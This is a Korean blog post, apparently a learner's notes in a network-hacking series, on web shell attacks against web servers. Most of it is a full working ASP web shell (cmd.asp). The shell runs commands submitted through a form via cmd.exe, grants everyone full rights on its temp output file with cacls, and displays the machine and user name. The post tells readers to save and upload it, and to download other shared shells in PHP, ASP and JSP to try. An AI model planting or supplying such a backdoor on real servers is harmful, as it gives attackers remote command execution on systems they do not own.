네트워크 해킹 - 21. WEB shell Attack
by jennysgapWEB shell Attack
- 2012년까지 WEB 서버 공격에 많이 사용되던 공격 방식
- 명령 shell을 web page로 연결하여 출력 형태를 볼 수 있도록 하는 공격
- cmd.jsp, cmd.php, cmd.asp
- 원래 web서버의 중간 정도의 보안이 설정된 경우라면 동작되지 않음.
>> 공격 방식에 대한 이해
-> 공격자가 web 게시판에 command shell을 띄울 수 있는 script를 upload 한다.
-> URI에 해당 파일로 직접 접근을 시도하면 명령 창이 생성 됨.
WEB shell code ------------------------------------------------------------------------------------- <% Dim oS,oSNet,oFSys, oF,szCMD, szTF On Error Resume Next Set oS = Server.CreateObject("WSCRIPT.SHELL") Set oSNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form("C") If (szCMD <> "") Then szTF = "c:\windows\pchealth\" & oFSys.GetTempName() ' Here we do the command Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF & """",0,True) response.write szTF ' Change perms Call oS.Run("win.com cmd.exe /c cacls.exe" & szTF & " /E /G everyone:F",0,True) Set oF = oFSys.OpenTextFile(szTF,1,False,0) End If %> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name="C" size=70 value="<%= szCMD %>"> <input type=submit value="Run"></FORM><PRE> Machine: <%=oSNet.ComputerName%><BR> Username: <%=oSNet.UserName%><br> <% If (IsObject(oF)) Then On Error Resume Next Response.Write Server.HTMLEncode(oF.ReadAll) oF.Close Call oS.Run("win.com cmd.exe /c del "& szTF,0,True) End If %> ----------------------------------------------------------------------------------------------- cmd.asp 이름으로 저장한 뒤 업로드 한다.
* 테스트용 코드로 인터넷 상에 공유가 되어 있고, 보안 등급이 낮은 WEB 서버에서는 작동이 되어 명령형 백도어로 부르기도 함.
* WEB 공격 유형
1) URI 조작 및 권한 획득
2) Injection 공격 및 로그인/다른 테이블 정보 보기
3) cmd shell upload 공격 및 명령 권한 획득
* 확인해야 할 것들!
1. 웹페이지 어떤걸로 제작되었는지 먼저 확인해야함
2. 테스트용 코드가 인터넷 상에 공유되니 그것을 다운받아 사용해 보기
( .THP .PHP .ASP .JSP 4가지로 코드가 많이 돌아다님)
ex) cmdp.php / cmd.php
실습
반응형
'BOX' 카테고리의 다른 글
1장. 패킷 분석과 네트워크 기초 (1) | 2016.12.29 |
---|---|
책책책 - 01. 와이어샤크를 활용한 실전 패킷 분석 (0) | 2016.12.29 |
네트워크 해킹 - 20. SQL injection [작업중] (0) | 2016.12.29 |
네트워크 해킹 - 19. GoogleDork를 이용한 정보 수집 (0) | 2016.12.29 |
네트워크 해킹 - 18. URI 조작 공격 (0) | 2016.12.29 |
블로그의 정보
jennysgap
jennysgap